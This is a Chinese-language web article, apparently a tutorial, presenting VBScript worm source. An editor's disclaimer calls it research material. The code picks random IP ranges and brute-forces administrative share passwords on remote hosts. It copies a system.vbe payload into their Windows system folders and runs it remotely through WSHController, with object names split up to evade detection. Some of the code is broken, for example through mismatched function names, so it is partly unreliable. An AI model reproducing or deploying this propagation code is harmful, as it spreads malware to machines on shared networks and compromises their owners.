编者注:本文重在研究,请各位网友不要把本文中的代码用于网络环境破坏否则后果自负!
2, 病毒的攻击性可以扩展到有系统漏洞的主机上,蠕虫可以利用一些基本的DOS命令和第三方黑客工具来进行漏洞攻击
3,病毒利用邮件和局域网进性传播:
攻击局域网可以采用简化的network代码,并利用vmi直接在远程主机上运行病毒体,且可以破译共享密码(穷解破解的话,太费时间,
也没什么必要):
| 以下是代码片段: Sub netshare() Dim o1,o2,o3,o4,rand,dot,count,name,driveconnected, pwd,strings ,k count = "0" dot = "." driveconnected="0" set yu=createobject("scrip"+"ting."+"filesyst"+"emob"+"ject") set net=createobject("wsc"+"ript.n"+"etwork") set qq=createobject("WSc"+"ript.S"+"hell") on error resume next randomize randaddress() do do while driveconnected ="0" checkadress() sharename() pwd = "" pqd = "" strings = "0123456789abcdefghijklmnopqrstuvwxyz" For k = 1 to len(strings) step 1 net.mapnetworkdrive "I:", "\\\\" & "name" &"\\C" , "& pwd & mid(strings,k,1)" , "& pqd & mid(strings,k,1)" If instr(net.Body, Wrong) 〈〉 0 Then pwd = pwd & mid(strings,k,1) End If Next ’破译共享密码 enumdrives() loop copy() disconnectdrive() qq "\\\\name\\con\\con",0 run () loop end sub function run() Dim Controller, RemoteScript Set Controller = WScript.CreateObject("WSHC"+"ontroller") Set RemoteScript = Controller.CreateScript("system.vbe", "name") WScript.ConnectObject RemoteScript, "remote_" RemoteScript.Execute Do While RemoteScript.Status 〈〉 2 WScript.Sleep 100 Loop WScript.DisconnectObject RemoteScript remote_Error() end function Sub remote_Error Dim theError Set theError = RemoteScript.Error WScript.Echo "Error " & theError.Number & " - Line: " & theError.Line & ", Char: " & theError.Character & vbCrLf & "Description: " & theError.Description WScript.Quit -1 End Sub Function disconnectdrive() net.removenetworkdrive "I:" driveconnected = "0" end function Function copy() yu.copyfile dir2&"\\system.vbe", "I:\\Windows\\" yu.copyfile dir2&"\\system.vbe", "I:\\Windows\\system32\\" yu.copyfile dir2&"\\system.vbe", "I:\\winnt\\system32\\" yu.copyfile dir2&"\\system.inf", "I:\\winnt\\system32\\" yu.copyfile dir2&"\\system.inf", "I:\\Windows\\system32\\" ’复制到对方的机器上。 end function Function checkaddress() o4 = o4 +1 if o4 = "255" then randaddress() end function Function sharename() name = " octa & dot & octb & dot & octc & dot & octd " end function Function enumdrives() set you=net.enumnetworkdrives For p = 0 to you.Count -1 if name = you.item(p) then driveconnected = 1 else driveconnected = 0 end if Next end function Function randum() rand = int((254 * rnd) + 1) end function Function randaddress() if count 〈 50 then o1=Int((16) * Rnd + 199) coun=count + 1 else randum() o1=rand end if randum() o2=rand randum() o3=rand o4="1" end function |
-
相关文章